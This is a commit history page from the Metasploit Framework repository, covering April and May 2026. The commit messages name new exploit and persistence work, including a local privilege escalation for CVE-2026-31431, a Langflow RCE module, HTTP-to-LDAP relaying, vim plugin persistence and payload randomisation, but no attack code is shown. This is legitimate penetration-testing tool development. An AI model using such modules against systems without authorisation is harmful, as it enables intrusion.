Compare commits

..

385 Commits

Author SHA1 Message Date
jenkins-metasploit 1ef3717849 automatic module_metadata_base.json update 2026-05-08 16:35:05 +00:00
Diego Ledda 5814c14781 Merge pull request #21206 from h00die/vim_plugin
vim plugin persistence
2026-05-08 12:24:22 -04:00
jenkins-metasploit 0037e42756 Bump version of framework to 6.4.133 2026-05-08 16:12:09 +00:00
adfoster-r7 33754fd7e8 Merge pull request #21424 from sjanusz-r7/fix-exec-payload-size-crash
Fix exec payload size crash
2026-05-08 17:05:58 +01:00
sjanusz-r7 79b0fd6edc Use rex-text hex string helper, fix module assembly null-terminated string usage
Use rex-text to_hex_cstring keyword arg
2026-05-08 16:41:39 +01:00
sjanusz-r7 8e432f69ca Bump rex-text 2026-05-08 16:41:35 +01:00
sjanusz-r7 d33c2f6600 Re-enabled payload cache size CI specs 2026-05-08 16:35:59 +01:00
Spencer McIntyre 50e5a85521 Merge pull request #21418 from kx7m2qd/fix-get-os-architecture
Fix get_os_architecture for Linux/BSD shell sessions
2026-05-08 09:33:45 -04:00
karan bea8eca0c6 Update rex-arch to 0.1.20 2026-05-08 09:09:10 -04:00
karan d1f9a0fd3b Fix get_os_architecture for Linux/BSD shell sessions
Uses Rex::Arch.from_uname to map uname -m output to ARCH_ constants
for non-meterpreter Linux/BSD shell sessions.

References rapid7/rex-arch#13
Fixes #21403
2026-05-08 09:09:10 -04:00
adfoster-r7 550a8cbdc3 Merge pull request #21425 from g0tmi1k/ftp_stat
ftp: Fix STAT due to unexpected response
2026-05-08 09:28:59 +01:00
g0t mi1k 89b10aa3fe ftp: Fix STAT due to unexpected response 2026-05-08 03:45:38 +01:00
h00die 4da2554a2a cleanup vim plugin 2026-05-07 20:06:32 -04:00
h00die fa69f45366 docs 2026-05-07 15:36:07 -04:00
h00die 5e39ced730 convert persistence mkdirs to lib function 2026-05-07 14:31:12 -04:00
h00die a394578488 vim plugin 2026-05-07 14:17:43 -04:00
Diego Ledda 963eaef422 Merge pull request #21411 from zeroSteiner/fix/linux-x64-exec
Escape strings embedded into the assembly of multiple payloads
2026-05-07 11:11:40 -04:00
jenkins-metasploit 2b42d779a1 automatic module_metadata_base.json update 2026-05-07 12:16:55 +00:00
adfoster-r7 817d3642c3 Merge pull request #21421 from adfoster-r7/update-validation-for-report-vuln
Update validation for report_vuln
2026-05-07 13:06:25 +01:00
adfoster-r7 9435bee69f Update validation for report_vuln 2026-05-07 11:55:39 +01:00
jenkins-metasploit dc1976058c automatic module_metadata_base.json update 2026-05-07 10:40:58 +00:00
adfoster-r7 97fba49fee Merge pull request #21314 from g0tmi1k/report_vuln
Fix #21296 - Add Msf::Auxiliary::Report
2026-05-07 11:28:49 +01:00
jenkins-metasploit 81a7646f0a automatic module_metadata_base.json update 2026-05-06 22:52:54 +00:00
adfoster-r7 a69e2ea707 Merge pull request #21413 from tart0ru5/patch-1
Improve failure condition checks
2026-05-06 23:42:37 +01:00
jenkins-metasploit 2be37dda84 automatic module_metadata_base.json update 2026-05-06 21:23:22 +00:00
Spencer McIntyre 98e588e066 Merge pull request #21410 from inkognitobo/fix/shiro-configurable-gadget-chain
Add configurable JAVA_GADGET_CHAIN option to Shiro module
2026-05-06 17:13:10 -04:00
g0t mi1k e30b6e81ad trace: Add missing report_vuln fields 2026-05-06 17:28:33 +01:00
jenkins-metasploit 38e6629582 automatic module_metadata_base.json update 2026-05-06 15:33:12 +00:00
adfoster-r7 26a7c5f417 Merge pull request #21415 from g0tmi1k/ftp_mixin
ftp: replace @banner_version with banner_version helper method
2026-05-06 16:22:38 +01:00
g0t mi1k b7e1d7ea77 ftp: replace @banner_version with banner_version helper method 2026-05-06 14:46:53 +01:00
jenkins-metasploit e3abb82e88 automatic module_metadata_base.json update 2026-05-06 13:28:27 +00:00
Christophe De La Fuente 696f530475 Merge pull request #21372 from g0tmi1k/ftp_anonymous
ftp_anonymous: Report service/vuln, store loot & update metadata
2026-05-06 15:16:23 +02:00
Spencer McIntyre 6e659caf23 Fix other instances of the same bug 2026-05-06 08:58:15 -04:00
g0t mi1k 48f178a93f ftp_anonymous: Feedback fixes 2026-05-06 13:44:43 +01:00
g0t mi1k ac20cf43e7 ftp_anonymous: Use FTP mixin 2026-05-06 13:32:13 +01:00
g0t mi1k 00c9e33a68 ftp_anonymous: report_service if missing banner 2026-05-06 13:32:13 +01:00
g0t mi1k 825e16bdc5 ftp_anonymous: report_host() when host up, service down 2026-05-06 13:32:13 +01:00
g0t mi1k d647f5f768 ftp_anonymous: Make sure to always disconnect 2026-05-06 13:32:13 +01:00
g0t mi1k 1b1edf938a ftp_anonymous: Clean up FTP banner 2026-05-06 13:32:13 +01:00
g0t mi1k 0f530ec016 ftp_anonymous: Make rubocop happy 2026-05-06 13:32:12 +01:00
g0t mi1k 51b4107dc7 ftp_anonymous: Update ruby code 2026-05-06 13:32:12 +01:00
g0t mi1k 0f696e572c ftp_anonymous: Add notes 2026-05-06 13:32:12 +01:00
g0t mi1k f6484ad724 ftp_anonymous: Store loot 2026-05-06 13:32:12 +01:00
g0t mi1k a0a774e724 ftp_anonymous: Improve logic 2026-05-06 13:32:12 +01:00
g0t mi1k efd59106a0 ftp_anonymous: Report vuln 2026-05-06 13:32:12 +01:00
g0t mi1k 3e320a9db3 ftp_anonymous: Report service 2026-05-06 13:32:12 +01:00
g0t mi1k 726d372257 ftp_anonymous: Remove line prefix 2026-05-06 13:32:12 +01:00
g0t mi1k 2c40a74483 ftp_anonymous: Add CVE 2026-05-06 13:32:12 +01:00
g0t mi1k b40623a0e1 ftp_anonymous: Move module 2026-05-06 13:32:12 +01:00
jenkins-metasploit 7888e29f2c automatic module_metadata_base.json update 2026-05-06 11:12:02 +00:00
adfoster-r7 95492d9680 Merge pull request #21380 from g0tmi1k/ftp_mixin
FTP mixin: Add report_service
2026-05-06 12:00:27 +01:00
g0t mi1k 815afec083 ftp: Add report_host 2026-05-06 10:46:01 +01:00
g0t mi1k 7d824835bc ftp: Add report_note 2026-05-06 10:46:01 +01:00
g0t mi1k 1ce7473b84 ftp: Add report_service 2026-05-06 10:45:55 +01:00
g0t mi1k 98f3bb1d84 ftp: Add banner_version 2026-05-06 10:38:30 +01:00
g0t mi1k 1a9e378dcf ftp: Fix verbose argument fallback 2026-05-06 10:36:59 +01:00
g0t mi1k addbc1b646 ftp: Remove dup IP:PORT in output 2026-05-06 10:36:59 +01:00
tart0ru5 fd6df3fb81 Improve failure condition checks
The prior check silently passes when `res` is `nil` (e.g. request
timeout / host unreachable), because `nil != 403` evaluates to `true`
2026-05-06 11:58:50 +08:00
Spencer McIntyre 9019e4c837 Escape the command in linux/x64/exec 2026-05-05 13:16:30 -04:00
inkognitobo c15d513766 Add configurable JAVA_GADGET_CHAIN option to Shiro module
The gadget chain was previously hardcoded to CommonsCollections2.
Add a JAVA_GADGET_CHAIN OptEnum so operators can select the chain
that matches the target's classpath without modifying the module.

Default remains CommonsCollections2 to preserve existing behaviour.
2026-05-05 17:55:20 +02:00
jenkins-metasploit bc5347f464 automatic module_metadata_base.json update
Command Shell Acceptance / cmd windows-2022 (push) Waiting to run
Command Shell Acceptance / linux ubuntu-latest (push) Waiting to run
Command Shell Acceptance / powershell windows-2025 (push) Waiting to run
Command Shell Acceptance / Generate report (push) Blocked by required conditions
LDAP Acceptance / LDAP Acceptance - ubuntu-latest - Ruby 3.2 (push) Waiting to run
LDAP Acceptance / Generate report (push) Blocked by required conditions
Lint / Lint msftidy (3.2) (push) Waiting to run
Meterpreter Acceptance / build (push) Waiting to run
MSSQL Acceptance / mcr.microsoft.com/mssql/server:2019-latest - ubuntu-latest - Ruby 3.2 (push) Waiting to run
MSSQL Acceptance / mcr.microsoft.com/mssql/server:2022-latest - ubuntu-latest - Ruby 3.2 (push) Waiting to run
MSSQL Acceptance / Generate report (push) Blocked by required conditions
MySQL Acceptance / mariadb:latest - ubuntu-latest - Ruby 3.2 (push) Waiting to run
MySQL Acceptance / mysql:latest - ubuntu-latest - Ruby 3.2 (push) Waiting to run
MySQL Acceptance / Generate report (push) Blocked by required conditions
Postgres Acceptance / postgres:16.2 - ubuntu-latest - Ruby 3.2 (push) Waiting to run
Postgres Acceptance / postgres:9.4 - ubuntu-latest - Ruby 3.2 (push) Waiting to run
Postgres Acceptance / Generate report (push) Blocked by required conditions
SMB Acceptance / build (push) Waiting to run
Verify / Docker Build (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.2 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.2 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.2 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.2 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.2 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.3 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.3 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.3 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.3 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.4 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.4 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.4 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" REMOTE_DB=1 (push) Waiting to run
Verify / ubuntu-latest - Ruby 3.4 - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" (push) Waiting to run
2026-05-04 13:49:03 +00:00
Diego Ledda edb6844c8f Merge pull request #21404 from zeroSteiner/feat/cve-2026-31431
Fix ARMLE exec and add to Copy Fail
2026-05-04 09:37:28 -04:00
jenkins-metasploit 909c8df2cf automatic module_metadata_base.json update 2026-05-01 13:50:15 +00:00
adfoster-r7 bbb2452063 Merge pull request #21342 from adfoster-r7/defer-loading-dependencies
Defer loading rex/metasm/octokit/etc dependencies
2026-05-01 14:37:27 +01:00
Spencer McIntyre 0c81638fff Fix ARMLE exec and add to Copy Fail 2026-04-30 20:03:04 -04:00
adfoster-r7 557ff0d068 Defer loading dependencies 2026-05-01 00:07:59 +01:00
jenkins-metasploit 5a2e7bb301 Bump version of framework to 6.4.132 2026-04-30 23:06:36 +00:00
jenkins-metasploit e8bb3cd5fb automatic module_metadata_base.json update 2026-04-30 22:30:05 +00:00
Brendan dc97d1e97e Merge pull request #21395 from zeroSteiner/feat/cve-2026-31431
Add exploit for CVE-2026-31431 (Copy Fail)
2026-04-30 17:19:08 -05:00
Spencer McIntyre 66995d3987 Only allow x64 and AARCH64 for now 2026-04-30 17:51:30 -04:00
Spencer McIntyre cdcdb5fe88 Normalize reported ARMLE architectures from Meterpreter 2026-04-30 17:09:33 -04:00
Spencer McIntyre bc0f7602c2 Only bind the socket once 2026-04-30 17:09:32 -04:00
Spencer McIntyre 0e02f10078 Add support for more architectures 2026-04-30 17:09:32 -04:00
Spencer McIntyre c0e5ceb531 Add an AARCH64 exec payload 2026-04-30 17:09:32 -04:00
Spencer McIntyre a0c5b9a6bc Merge pull request #21315 from cdelafuente-r7/mcp-server
MCP Server, specs and documentation
2026-04-30 16:33:18 -04:00
Spencer McIntyre e14ce079bb Appease rubocop 2026-04-30 15:18:18 -04:00
Spencer McIntyre 22a9dc4522 Add docs 2026-04-30 14:54:09 -04:00
Spencer McIntyre 55f9216698 Finish the exploit check and cleanup methods 2026-04-30 14:39:46 -04:00
jenkins-metasploit e2e210d038 automatic module_metadata_base.json update 2026-04-30 15:40:08 +00:00
cgranleese-r7 a2b57ae998 Merge pull request #21352 from adfoster-r7/improve-checkcode-messages-5
Add human-readable descriptions to CheckCode returns in modules
2026-04-30 16:29:07 +01:00
Spencer McIntyre 12e08fb451 Add an expanded check 2026-04-30 10:54:17 -04:00
adfoster-r7 3bee31ff5e Update checkcodes and bug fixes 2026-04-30 15:42:10 +01:00
Spencer McIntyre d0a205f776 Add the initial LPE exploit 2026-04-30 09:53:35 -04:00
Spencer McIntyre 9f6349de7d Initial commit of updated stub
Stub has been updated to forward arguments to /bin/sh
2026-04-30 09:53:12 -04:00
jenkins-metasploit 5942122b9a automatic module_metadata_base.json update 2026-04-30 10:06:45 +00:00
cgranleese-r7 49ea1a3391 Merge pull request #21359 from adfoster-r7/improve-checkcode-messages-12
Add human-readable descriptions to CheckCode returns in modules
2026-04-30 10:46:41 +01:00
cgranleese-r7 b3fbeced43 Merge pull request #21355 from adfoster-r7/improve-checkcode-messages-8
Add human-readable descriptions to CheckCode returns in modules
2026-04-30 10:44:04 +01:00
cgranleese-r7 7b3aef8ede Merge pull request #21353 from adfoster-r7/improve-checkcode-messages-6
Add human-readable descriptions to CheckCode returns in modules
2026-04-30 10:43:21 +01:00
Christophe De La Fuente 6f3884e832 Redesign the logging capability using Rex::Logging and Rake middleware
- remove the original Logger
- use Rex::Logging with helper methods (dlog, ilog, etc.)
- add `sanitize` configuration option
- create Sanitizing, JsonFlatfile and JsonStream sinks for JSON logging format
- minor updates in apply_default (Loader)
- update the re-authentication logic (fix a specific usecase)
- add a Rack middleware that logs MCP HTTP request/response
- use Rex::Socket::Tcp instead of TcpSocket
- update the ensure_rpc_available for better validation
- use around_request instead of the deprecated SDK instrumentation for logging
- update and add specs
2026-04-30 11:10:09 +02:00
adfoster-r7 b59ced5057 Add human-readable descriptions to CheckCode returns in multi/http exploit modules (A-O) 2026-04-30 00:25:30 +01:00
adfoster-r7 0bf595c2ec Add human-readable descriptions to CheckCode returns in unix/webapp exploit modules 2026-04-30 00:16:04 +01:00
jenkins-metasploit 15a0f6eefd automatic module_metadata_base.json update 2026-04-29 19:30:36 +00:00
Spencer McIntyre 2634142f0d Merge pull request #21323 from jheysel-r7/feat/http_to_ldap
HTTP to LDAP Relay Module
2026-04-29 15:20:10 -04:00
Spencer McIntyre 2153daad7b Update the specs 2026-04-29 14:38:29 -04:00
Jack Heysel 4847d88441 HTTP to LDAP Relay Module and Supporting Libraries
Remove unnecessary code

Remove commented out code

Added documentation

Responded to Spencer and Copilot

Add anonymous identity check

Doc update

Warning surpression

Renamed ldap_client to relayed_connection

Comments
2026-04-29 07:48:42 -07:00
jenkins-metasploit 788aa2abc5 automatic module_metadata_base.json update 2026-04-29 13:18:45 +00:00
Spencer McIntyre 2cfdfcba60 Merge pull request #21392 from dwelch-r7/skip-windows-test-on-non-windows-system
skip Windows-specific tests on non-Windows platforms
2026-04-29 09:08:03 -04:00
dwelch-r7 bcae34ee4f Update test/modules/post/test/cmd_exec.rb
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-04-29 13:11:06 +01:00
Dean Welch 6df54a639e skip Windows-specific tests on non-Windows platforms 2026-04-29 13:05:17 +01:00
jenkins-metasploit 41a937c70c automatic module_metadata_base.json update 2026-04-27 11:20:38 +00:00
adfoster-r7 63f4f358c7 Merge pull request #21092 from sjanusz-r7/fix-macos-mingw-syscall_inject-compilation
Fix syscall_inject compilation errors on MacOS with MinGW 15
2026-04-27 12:09:19 +01:00
adfoster-r7 1e3727ba87 Add human-readable descriptions to CheckCode returns in remaining multi exploit modules 2026-04-25 10:52:11 +01:00
jenkins-metasploit e909b9218b Bump version of framework to 6.4.131 2026-04-25 08:54:14 +00:00
adfoster-r7 d121ff6a62 Merge pull request #21307 from adfoster-r7/improve-vuln-and-vuln-attempt-tracking
Improve vuln and vuln attempt tracking
2026-04-24 18:36:28 +01:00
adfoster-r7 e00515c172 Update logic for aux modules having called report_vuln already 2026-04-24 16:26:49 +01:00
adfoster-r7 3ecbadd032 Improve vuln and vuln attempt tracking 2026-04-24 16:26:49 +01:00
cgranleese-r7 7c4f15a024 Merge pull request #21354 from adfoster-r7/improve-checkcode-messages-7
Add human-readable descriptions to CheckCode returns in modules
2026-04-24 16:13:19 +01:00
adfoster-r7 7479078bf1 Merge pull request #21356 from adfoster-r7/improve-checkcode-messages-9
Add human-readable descriptions to CheckCode returns in modules
2026-04-24 15:25:45 +01:00
adfoster-r7 b09686efaf Merge pull request #21357 from adfoster-r7/improve-checkcode-messages-10
Add human-readable descriptions to CheckCode returns in modules
2026-04-24 15:25:19 +01:00
adfoster-r7 b765db798e Merge pull request #21358 from adfoster-r7/improve-checkcode-messages-11
Add human-readable descriptions to CheckCode returns in modules
2026-04-24 15:25:00 +01:00
Simon Janusz aa14df9b6c Merge pull request #21368 from sjanusz-r7/change-php-payload-size
Change PHP payload die func message
2026-04-24 13:47:19 +01:00
adfoster-r7 1d1c284619 Merge pull request #21364 from sjanusz-r7/update-payload-cached-sizes-on-new-metadata-cache
Update payload cached sizes when creating new module metadata cache
2026-04-24 11:15:55 +01:00
sjanusz-r7 a153814b0f Change PHP payload die func message 2026-04-24 11:08:38 +01:00
jenkins-metasploit 17f7f4d718 Bump version of framework to 6.4.130 2026-04-23 15:02:38 +00:00
jenkins-metasploit 74468290c9 automatic module_metadata_base.json update 2026-04-23 14:54:17 +00:00
Spencer McIntyre 540139cd4a Merge pull request #21341 from g0tmi1k/smb
Fix various smb/samba issues
2026-04-23 10:45:58 -04:00
adfoster-r7 370c35c1e2 Add human-readable descriptions to CheckCode returns in windows/http exploit modules 2026-04-23 15:37:09 +01:00
jenkins-metasploit cb1cfbbe98 automatic module_metadata_base.json update 2026-04-23 14:21:28 +00:00
Brendan 2289fc07ce Merge pull request #21260 from Takahiro-Yoko/langflow_rce_cve_2026_27966
Add Langflow RCE module (CVE-2026-27966)
2026-04-23 09:12:12 -05:00
cgranleese-r7 107edff1cb Merge pull request #21278 from adfoster-r7/fix-msftidy-heading-in-codeblock-edgecase
Fix msftidy heading in codeblock edgecase
2026-04-23 13:23:55 +01:00
jenkins-metasploit 4521c9f3d3 automatic module_metadata_base.json update 2026-04-23 12:03:13 +00:00
g0t mi1k 76cae04e91 smb_login: Add report_service (regardless of RECORD_GUEST)
RECORD_GUEST = creds, not service
2026-04-23 12:59:19 +01:00
g0t mi1k 4f77df25ba smb_uninit_cred: Add report_service 2026-04-23 12:59:19 +01:00
g0t mi1k 792a4254ac smb_uninit_cred: Print correct port 2026-04-23 12:59:19 +01:00
g0t mi1k eb5b5a1277 smb_uninit_cred: Rex::Proto::DCERPC::Exceptions::Fault DCERPC FAULT => nca_op_rng_error 2026-04-23 12:59:18 +01:00
g0t mi1k 950fb9def6 smb_lookupsid: Hide table if results empty 2026-04-23 12:59:18 +01:00
g0t mi1k 2e58eb1207 psexec_loggedin_users: NoMethodError. undefined method `each_line' for false 2026-04-23 12:59:18 +01:00
g0t mi1k a173ea15fa smb_version: Remove duplicated report_service 2026-04-23 12:59:18 +01:00
g0t mi1k 3c1b245751 Fix #21339: NoMethodError undefined method `each' for an instance of String 2026-04-23 12:59:18 +01:00
g0t mi1k ca27731285 Fix #21338: NoMethodError undefined method `domain_handle' for nil 2026-04-23 12:59:18 +01:00
g0t mi1k 2d93669f56 Fix #21337: NoMethodError' 'undefined method `empty?' for nil 2026-04-23 12:59:18 +01:00
cgranleese-r7 1142d4e15d Merge pull request #21351 from adfoster-r7/improve-checkcode-messages-4
Add human-readable descriptions to CheckCode returns modules
2026-04-23 12:54:31 +01:00
adfoster-r7 96a37da14a Add human-readable descriptions to CheckCode returns in multi/http exploit modules (P-Z) 2026-04-23 12:26:32 +01:00
sjanusz-r7 f00bbe6451 Update payload cached sizes when creating new module metadata cache 2026-04-23 12:06:09 +01:00
jenkins-metasploit f1778187b8 automatic module_metadata_base.json update 2026-04-23 11:04:15 +00:00
cgranleese-r7 9ad8b7ac32 Merge pull request #21360 from adfoster-r7/improve-checkcode-messages-13
Add human-readable descriptions to CheckCode returns in modules
2026-04-23 11:55:46 +01:00
jenkins-metasploit 8a5d7be47a automatic module_metadata_base.json update 2026-04-23 10:45:19 +00:00
cgranleese-r7 591dbdd821 Merge pull request #21350 from adfoster-r7/improve-checkcode-messages-3
Add human-readable descriptions to CheckCode returns in modules
2026-04-23 11:33:27 +01:00
adfoster-r7 c38f6b4858 Update checkcodes and bug fixes 2026-04-23 10:20:53 +01:00
adfoster-r7 3e61396ec2 Add human-readable descriptions to CheckCode returns in unix, freebsd, osx, and other exploit modules 2026-04-23 10:02:22 +01:00
jenkins-metasploit e5bdc50a4f automatic module_metadata_base.json update 2026-04-22 20:35:33 +00:00
Spencer McIntyre 44d60c0865 Merge pull request #21347 from g0tmi1k/smb_version
smb_version: Make SMBv1 happy
2026-04-22 16:27:08 -04:00
adfoster-r7 2ae936473e Add human-readable descriptions to CheckCode returns in remaining windows exploit modules 2026-04-22 18:44:55 +01:00
adfoster-r7 45bc95a876 Add human-readable descriptions to CheckCode returns in windows/local exploit modules 2026-04-22 18:43:59 +01:00
adfoster-r7 aaf536d189 Merge pull request #21361 from sjanusz-r7/payload-cache-size-changes
Comment out payload size cache tests
2026-04-22 17:13:23 +01:00
sjanusz-r7 8587d1c211 Skip payload cached size specs 2026-04-22 16:31:51 +01:00
adfoster-r7 05befe18b1 Add human-readable descriptions to CheckCode returns in linux/local exploit modules 2026-04-22 15:06:59 +01:00
jenkins-metasploit 7851cda71d automatic module_metadata_base.json update 2026-04-22 13:49:02 +00:00
cgranleese-r7 380911db97 Merge pull request #21349 from adfoster-r7/improve-checkcode-messages-2
Add human-readable descriptions to CheckCode returns in modules
2026-04-22 14:32:05 +01:00
cgranleese-r7 de636c1457 Merge pull request #21348 from adfoster-r7/improve-checkcode-messages-1
Add human-readable descriptions to CheckCode returns in modules
2026-04-22 14:30:48 +01:00
adfoster-r7 f3b07d5a49 Add human-readable descriptions to CheckCode returns in auxiliary and post modules 2026-04-22 13:56:54 +01:00
adfoster-r7 2cbb3942b6 Add human-readable descriptions to CheckCode returns in linux/http exploit modules (A-M) 2026-04-22 13:08:59 +01:00
g0t mi1k b7f136077e smb_version: Be more verbose - show smb1 if possible 2026-04-22 13:08:20 +01:00
g0t mi1k 0474c0ce24 smb_version: Add spacing between : 2026-04-22 13:08:20 +01:00
g0t mi1k 1d9c922488 Make smb_version happy with smbv1 2026-04-22 13:08:19 +01:00
cgranleese-r7 25d7c25ad8 Merge pull request #21346 from adfoster-r7/fix-false-positive-on-couchdb-enum-check
Fix false positive on couchdb enum check
2026-04-22 12:38:47 +01:00
adfoster-r7 19d333df13 Add human-readable descriptions to CheckCode returns in linux/http exploit modules (N-Z) 2026-04-22 11:55:15 +01:00
adfoster-r7 6e992aa6ed Fix false positive on couchdb enum check 2026-04-21 22:48:27 +01:00
jenkins-metasploit 9efc727462 automatic module_metadata_base.json update 2026-04-21 17:21:45 +00:00
Christophe De La Fuente 4c0f2c29bc Merge pull request #21019 from g0tmi1k/phpmyadmin_config 2026-04-21 19:13:04 +02:00
jenkins-metasploit 9692b8865f automatic module_metadata_base.json update 2026-04-21 17:08:11 +00:00
Spencer McIntyre 6a00ea38c6 Merge pull request #21306 from dledda-r7/feat/block-api-randomization
Block Api ROR13 IV randomization
2026-04-21 12:58:30 -04:00
Christophe De La Fuente 946d1a44b5 Fix Notes format (array) 2026-04-21 18:43:54 +02:00
jenkins-metasploit cca7166eb4 automatic module_metadata_base.json update 2026-04-21 15:05:42 +00:00
adfoster-r7 a918184416 Merge pull request #21344 from adfoster-r7/fix-elasticsearch-traversal-check-support
Fix elasticsearch traversal check support
2026-04-21 15:57:26 +01:00
adfoster-r7 81f1a7c86a Fix elasticsearch traversal check support 2026-04-21 15:18:58 +01:00
adfoster-r7 97ab01cddd Merge pull request #21340 from dledda-r7/ci/disable-meterpreter-ci
Disable Windows Server 2022 CI
2026-04-21 15:01:35 +01:00
dledda-r7 b9573fa0ce ops(meterpreter): disable windows server 2022 build until 141_xp dependency is removed 2026-04-21 05:55:29 -04:00
dledda-r7 e40422845b fix: block_api.rb update 2026-04-21 05:43:34 -04:00
Spencer McIntyre 20065b3f3d Fix the include errors 2026-04-20 18:36:00 -04:00
Spencer McIntyre 44a45ffdbf Switch to Rex::Logging 2026-04-20 18:14:56 -04:00
Brendan 2dbfcfb918 Merge pull request #21232 from bcoles/file-find_writable_directories
Add find_writable_directories to Msf::Post::File
2026-04-20 16:33:53 -05:00
jenkins-metasploit ae63cb9b1d automatic module_metadata_base.json update 2026-04-20 20:41:14 +00:00
Brendan 6b57b4c66f Merge pull request #21256 from g0tmi1k/webdav
WebDAV improvements
2026-04-20 15:30:43 -05:00
Christophe De La Fuente 820e737024 Update from code review and some fixes
- add the `--mcp-transport` option
- prefix the MCP env. variable with `MSF_`
- move the code under `lib/msf/core/mcp/`
- move specs under `spec/lib/msf/core/mcp/`
- change the namespace from `MsfMcp` to `Msf::RPC`
- update the `lib/msf_autoload.rb` to exclude the mcp-related files
- add missing validation for the `mcp`, `rate_limit and `logging` sections in the config file
- remove duplicate error exception classes
- fix an error in the transformers related to the `created_at` field
- fix a small issue in the input validator when regex are used
- update the way error is reported for MCP Tools to be compatible with the changes in the new `mcp` gem
- update and add specs
2026-04-20 18:29:21 +02:00
adfoster-r7 bd2e11ad55 Merge pull request #21331 from bcoles/metadata-obj
Metadata::Obj: Deduplicate notes hash strings and memoize `Obj#path` to reduce retained memory in the module metadata cache
2026-04-20 16:55:33 +01:00
jenkins-metasploit 6acac8e120 automatic module_metadata_base.json update 2026-04-20 13:31:53 +00:00
cgranleese-r7 a53d0a027b Merge pull request #21332 from adfoster-r7/remove-false-positive-from-nodejs-pipelining-check
Remove false positive from nodejs pipelining check
2026-04-20 14:22:23 +01:00
Diego Ledda 46553b5984 Update lib/msf/core/payload/windows/x64/block_api_x64.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2026-04-20 15:19:47 +02:00
Diego Ledda 5622bd254b Update lib/msf/core/payload/windows/x64/block_api_x64.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2026-04-20 15:19:07 +02:00
Diego Ledda 2c58825343 Update lib/msf/core/payload/windows/x64/block_api_x64.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2026-04-20 15:18:54 +02:00
adfoster-r7 f060acd1e9 Remove false positive from nodejs pipelining check 2026-04-20 14:02:56 +01:00
bcoles 09bb98d13e Memoize Obj#path to avoid repeated File.join
The install_root path is immutable at runtime, so cache the computed
full path on first access instead of calling File.join on every call.
2026-04-20 22:19:55 +10:00
bcoles 76a7f61465 Deduplicate notes hash keys and values in metadata Obj
Notes keys ("Stability", "SideEffects", "Reliability") and values
("crash-safe", "ioc-in-logs", etc.) are repeated across thousands of
modules. Use frozen string dedup (-str) to share a single object per
unique string, reducing ~24K string allocations to ~185 shared objects.
2026-04-20 22:17:40 +10:00
adfoster-r7 e09a38085c Merge pull request #21330 from bcoles/modules-loader
Replace Pathname with string prefix removal in directory module loader
2026-04-20 11:45:33 +01:00
adfoster-r7 fe1aeb9279 Merge pull request #21329 from bcoles/modulemanager-cache
Simplify get_parent_path with rindex instead of split/join
2026-04-20 11:30:04 +01:00
adfoster-r7 9b985dc1ef Merge pull request #21327 from tair-m/master
Fix uninitialized constant HTTP::CookieJar by correcting load order in http_cookie_jar.rb
2026-04-20 10:39:02 +01:00
bcoles a8ccdfc1e4 Simplify get_parent_path with rindex instead of split/join
Replace File.join + String#split + array slice + Array#join with a
single String#rindex lookup. This avoids allocating intermediate arrays
and strings on every call (once per cached module during startup).
2026-04-20 18:22:53 +10:00
bcoles b1c4fd3f39 Replace Pathname with string prefix removal in directory module loader
Msf::Modules::Loader::Directory#each_module_reference_name created two
Pathname objects per module file and called relative_path_from to derive
the module reference name. With ~5,000 module files this produced
~170,000 calls to Pathname#chop_basename internally.

Since Rex::Find.find always yields absolute paths rooted at
full_entry_path, simple String#delete_prefix achieves the same result
without allocating Pathname objects.
2026-04-20 18:14:54 +10:00
Takah1ro f54374eaff Update exploit to improve stability 2026-04-18 12:56:53 +09:00
tair 4607741a16 Fix LoadError in http_cookie_jar for Ruby 3.3.0 2026-04-18 07:17:26 +05:00
g0t mi1k 94b4f577e0 WebDAV: MR feedback 2026-04-17 22:19:26 +01:00
jenkins-metasploit 046ba861b3 automatic module_metadata_base.json update 2026-04-17 16:21:38 +00:00
jheysel-r7 08f6dc20a5 Merge pull request #21122 from bootstrapbool/camaleon_cms_cve_2024_46987
Camaleon CMS CVE 2024 46987
2026-04-17 09:13:07 -07:00
Takah1ro a47234778c Increase WfsDelay 2026-04-17 23:54:43 +09:00
adfoster-r7 92af54c885 Merge pull request #21230 from bcoles/obj-dedup-cache
Reduce memory footprint of module metadata Obj instances
2026-04-17 12:33:23 +01:00
adfoster-r7 19112a0212 Merge pull request #21231 from bcoles/msf-module-cache
Module metadata: Fix stale module detection and add per-type metadata index
2026-04-17 11:25:44 +01:00
dledda-r7 679d2a9a4e feat: enhance block_api_iv handling with warnings and options for payload methods 2026-04-17 06:07:18 -04:00
bcoles 785307f55e Module metadata: Fix stale module detection and add per-type metadata index 2026-04-17 19:41:18 +10:00
dledda-r7 82c8028f1c refactor: remove redundant block_api_iv calls in payload generation methods 2026-04-17 05:38:19 -04:00
